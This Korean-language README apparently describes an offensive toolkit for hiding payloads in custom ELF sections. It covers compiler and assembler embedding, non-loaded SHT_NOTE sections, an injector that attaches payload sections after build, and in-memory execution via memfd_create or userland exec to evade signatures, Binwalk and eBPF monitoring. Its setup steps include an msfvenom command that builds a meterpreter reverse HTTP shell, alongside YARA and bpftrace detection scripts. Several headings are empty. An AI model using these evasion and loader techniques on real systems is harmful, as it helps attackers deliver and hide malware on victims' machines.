
무단계 페이로드 전달을 위한 ELF 바이너리 섹션 도킹 툴킷으로, 사용자 정의 ELF 섹션 조작을 통해 현장 페이로드 첨부, 서명 회피, 정적/동적 로딩 저항을 가능하게 합니다.
.data와 같은 섹션에 배치합니다.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
bin2c 또는 xxd -i payload.bin > payload.h와 같은 도구를 사용하여 수동으로 또는 헤더를 포함하여 달성합니다.
페이로드를 일반적인 방식으로 .text와 .data에 저장하는 것은 로딩 추적이 쉽고 실행을 위한 데이터 로딩의 행동 의미론을 분석할 수 있기 때문에 좋지 않은 생각입니다.
__attribute__를 통해 수행됩니다. 이는 조금 낫지만 ELF의 생성 및 로딩 방식으로 인해 여전히 잘 추적됩니다.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* 스택 포인터 초기화 */
init_sp (stack + sizeof (stack));
/* 초기화된 데이터 초기화 */
memcpy (&init_data, &data, &edata - &data);
}
어셈블러 종속적인 .incbin과 유사한 지시문으로 섹션을 생성하고 페이로드를 포함할 수 있습니다.
예: gcc -c payload.s 또는 ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
로더에서 다음과 같이 검색:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
참고: payload.bin에 완전히 기능하는 ELF를 포함할 수 있으며, 이는 여러 툴킷의 요소를 포함하는 "팻" 바이너리를 생성할 때 중요합니다.
참고: 이 작업을 수행하는 더 편리한 도구가 있습니다. 예를 들어 @graphitemaster의 INCBIN [링크]
또 다른 변형은 다음과 같은 인라인 ASM입니다:
/* 모든 임베디드 이미지에 대한 원시 이미지 데이터 */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* 모든 임베디드 이미지에 대한 이미지 구조체 */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
참고: 섹션 정의에서 PROGBITS를 주목하세요. 이는 중요할 것입니다.
컴파일러/링커 기반 페이로드 바이너리 포함은 이상적이지 않습니다
장단점이 있습니다:

섹션 유형과 새 섹션에 설정된 플래그는 OS 로더가 실행 파일을 실행할 때 메모리에 로드할지 결정합니다. 일부 섹션은 기본적으로 자동으로 로드되지만, 다른 섹션은 그렇지 않습니다(예: .symtab, .strtab).
공격자 입장에서, 이로부터 어떤 효율성을 얻을 수 있을까요?
메모리 기본 로딩을 가정하는 플래그 설정을 피할 수 있습니다.
메모리에 로드되지 않는 다른 유형의 섹션을 사용할 수 있습니다.
공급업체나 시스템 엔지니어는 다른 프로그램이 규정 준수 또는 호환성을 확인할 수 있도록 특수 정보로 객체 파일을 표시해야 할 수 있습니다.
SHT_NOTE유형의 섹션과PT_NOTE유형의 프로그램 헤더 요소가 이 목적으로 사용될 수 있습니다.
후자의 경우, 시스템 바이너리에서 이 유형의 섹션 사용을 볼 수 있습니다:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
내용을 검사할 수 있습니다:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
SHT_NOTE 섹션을 생성한 최종 결과는 ELF에서 다음과 같습니다:

추가로: SHT_NOTE는 필요한 경우 구조를 제공합니다(그리고 더 나아가 사용할 것입니다):

지금까지 우리는 섹션을 생성하고 OS 로더가 메모리에 로드하지 않도록 방지할 수 있었습니다. 해당 섹션은 현재 ELF 이미지에서 효과적으로 휴면 상태입니다. 로드하는 방법은 나중에 논의하겠습니다. 그러나 더 시급한 문제는 우리가 여전히 컴파일러 및 링커 수준에서 작업하고 있으며, 섹션은 최종 ELF 구조에 엮여 로더 코드가 그 내용을 참조하는 메모리 주소와 관계를 생성한다는 사실입니다.

만약 로더 컴파일 워크플로우 외부에서 임베디드 페이로드가 포함된 ELF 섹션을 만들고, 나중에 그 섹션을 로더 바이너리에 부착할 수 있다면 어떨까요?
이렇게 하면 로더 코드와 섹션 상호작용 간의 관계가 끊어집니다. 그런 다음 로더가 자체 외부 데이터 섹션을 찾고 로드하는 방법을 가르쳐, 느슨하게 결합된 방식으로 페이로드를 로더에 "도킹"할 수 있습니다.
개념적으로 우리의 목표는 다음과 같습니다:
로더/페이로드(섹션 내) 관계는 이제 다음과 같아집니다:

그러면 로더에 페이로드 섹션을 도입하는 인젝터를 만들 수 있으며, 둘 다 코드 수준에서 작동하지 않고 바이너리 호환성만 필요합니다(그리고 로더가 어떤 페이로드 섹션이든 로드하는 방법을 인식하고 있음).

이러한 일반적인 ELF 섹션 도킹 설정에서 얻을 수 있는 몇 가지 결과:
정적 ELF 로더는 페이로드 없이 자체적으로 배송될 수 있으며, 필요 시 섹션을 로드하고 그로부터 페이로드를 부트스트랩하는 메커니즘만 포함합니다.
페이로드는 별도로 패키징되어 정적 스테이지로 언제든지 로더와 번들로 제공되거나 나중에 인젝터를 통해 부착될 수 있습니다. 페이로드는 종종 암호화될 수 있고, 필요한 경우 ELF 실행 파일 자체일 수 있으며, 로더가 페이로드의 구조를 알지 못하고 패키징 기능만 알면 됩니다.
인젝터는 여러 바이너리(휴면 스테이지)의 섹션 부착을 중개하여 섹션을 구성하고 로더에 주입할 수 있습니다.
실행 파일에 여러 리소스를 패킹하는 것과 비교하여 섹션 수준 구성에는 장점이 있습니다. 패커 처리 및 코드 탐지에 대한 오버헤드가 없습니다. 메모리 내 실행에 의존하고 패커가 바이너리를 파일 시스템으로 추출해야 하기 때문에 쉽게 패킹할 수 없는 다른 도구와 함께 여러 섹션을 운반하는 데 이점이 있습니다. (팻 바이너리 섹션 참조)
이제 ELF 섹션 도킹 구성 요소에 대해 자세히 논의하겠습니다.
배치: 후방 또는 현장 장점:
배치: 현장 장점:
장점:
ELF 섹션 인젝터/패커 강화:
ELF 로더 강화:
ELF 섹션 로더가 페이로드 런처와 함께 작동하는 방식에 대한 몇 마디:
로더는 메모리 내 페이로드 실행 메커니즘 중 하나를 활용할 수 있습니다:
옵션 A: SYS_Memfd_create ()
옵션 B: Userland Exec (https://grugq.github.io/docs/ul_exec.txt)
워크플로우 실행:

Binwalk의 회피 기회 (ELF 섹션 페이로드 vs MSF 페이로드):

eBPF 회피 vs ELF 섹션 패커:

YARA 검증기 및 테스트:


STIX 도구 정의:

cmake --configure .를 실행하여 빌드 환경을 구성하십시오. 현재 CMAke 3.18을 지원합니다../build.shhttps://github.com/rapid7/mettle의 libreflect 라이브러리를 사용합니다.vendor/lib/reflect/libreflect.a 아래에 배포되지만, 필요한 경우 원래 저장소에서 다시 빌드할 수 있습니다.bpftrace를 사용해보려면 배포판에 맞는 적절한 커널 헤더를 설치하십시오.run.sh 참조aux/msfrc RC 파일을 사용하십시오:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py에서 볼 수 있습니다../aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]